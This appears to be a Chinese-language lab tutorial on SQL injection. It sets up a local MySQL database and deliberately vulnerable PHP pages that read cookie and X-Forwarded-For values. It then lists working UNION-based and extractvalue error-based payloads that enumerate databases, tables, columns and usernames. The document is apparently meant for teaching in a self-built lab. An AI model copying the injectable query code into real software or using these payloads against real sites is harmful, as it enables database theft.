第一步创建sql环境,直接再mysql下运行
create database loophole;
use loophole;
create table sql_test(
id int auto_increment,
primary key (id),
username char(10),
address char(20)
);
insert into sql_test values (1,'admin1','hubei'),(2,'mozhe','beijin'),(3,'admin','hubei'),(4,'yk','ensi');
⚠️⚠️
第二步直接运行如下代码,其中连接数据库的用户名和密码必须换成自己的数据库的
<?php
$id = $_COOKIE['id'];
$value = "1";
setcookie("id", $value);
$con = mysqli_connect("localhost", "root", "901026yk", "loophole");
if (mysqli_connect_error()) {
echo "连接错误" . mysqli_connect_error();
}
$result = mysqli_query($con, "select * from sql_test where id = " . $id);
if(!$result)
{
printf(mysqli_error($con));
exit();
}
$row = mysqli_fetch_array($result);
echo $row['username'] . " " .$row['address'];
如上id = 1 and 1=1显示正常
如上id = 1 and 1=2显示不正常,所以存在Cookie注入,并且1前后无标点符号
id=-1 union select 1,database(),user()
:获取本网址的数据库
id = -1 union select 1,group_concat(schema_name),3 from information_schema.SCHEMATA
; :获取所有数据库的名字,这条语句一般用于跨库注入
id = -1 union select 1, group_concat(table_name),3 from information_schema.TABLES where TABLE_SCHEMA='loophole'
id = -1 union select 1, group_concat(column_name),3 from information_schema.COLUMNS where TABLE_SCHEMA='loophole' and TABLE_NAME='sql_test';
id = -1 union select 1, group_concat(username),3 from loophole.sql_test
sqllibs第20关
uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
可以看到报错了,我们得到了 mysql 的路径。直接运行如下代码,其中连接数据库的用户名和密码必须换成自己的数据库的
/**
* getenv()
* $SERVER[]
* $ENV[] $_ENV是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量
*/
//“REMOTE_ADDR” (直连IP地址)
//"HTTP_CLIENT_IP" (代理服务器ip地址)
//HTTP_X_FORWARDED_FOR (最开始的IP地址)
//构造 X-Forwarded-For: 1
$con = mysqli_connect("localhost", "root", "901026yk", "loophole");
if (mysqli_connect_error()) {
echo "连接错误" . mysqli_connect_error();
}
if(getenv('HTTP_CLIENT_IP')) //要求没有代理服务器
{
$ip = getenv('HTTP_CLIENT_IP');
}elseif(getenv('HTTP_X_FORWARDED_FOR'))
{
$ip = getenv('HTTP_X_FORWARDED_FOR');
}elseif(getenv('REMOTE_ADDR'))
{
$ip = getenv('REMOTE_ADDR');
}else
{
$ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
$result = mysqli_query($con, "select * from sql_test where id = " . $ip);
if(!$result)
{
printf(mysqli_error($con));
}
$row = mysqli_fetch_array($result);
echo $row['username'] . " " . $row['address'];
X-Forwarded-For
注入攻击的全过程必须要使用burpsuit,抓包之后使用burpsuit更改数据包,就是加上X-Forwarded-For: 1
其他跟union注入一模一样
-1 union select 1,database(),user()
:获取本网址的数据库
-1 union select 1,group_concat(schema_name),3 from information_schema.SCHEMATA
; :获取所有数据库的名字,这条语句一般用于跨库注入
-1 union select 1, group_concat(table_name),3 from information_schema.TABLES where TABLE_SCHEMA='loophole'
-1 union select 1, group_concat(column_name),3 from information_schema.COLUMNS where TABLE_SCHEMA='loophole' and TABLE_NAME='sql_test';
-1 union select 1, group_concat(username),3 from loophole.sql_test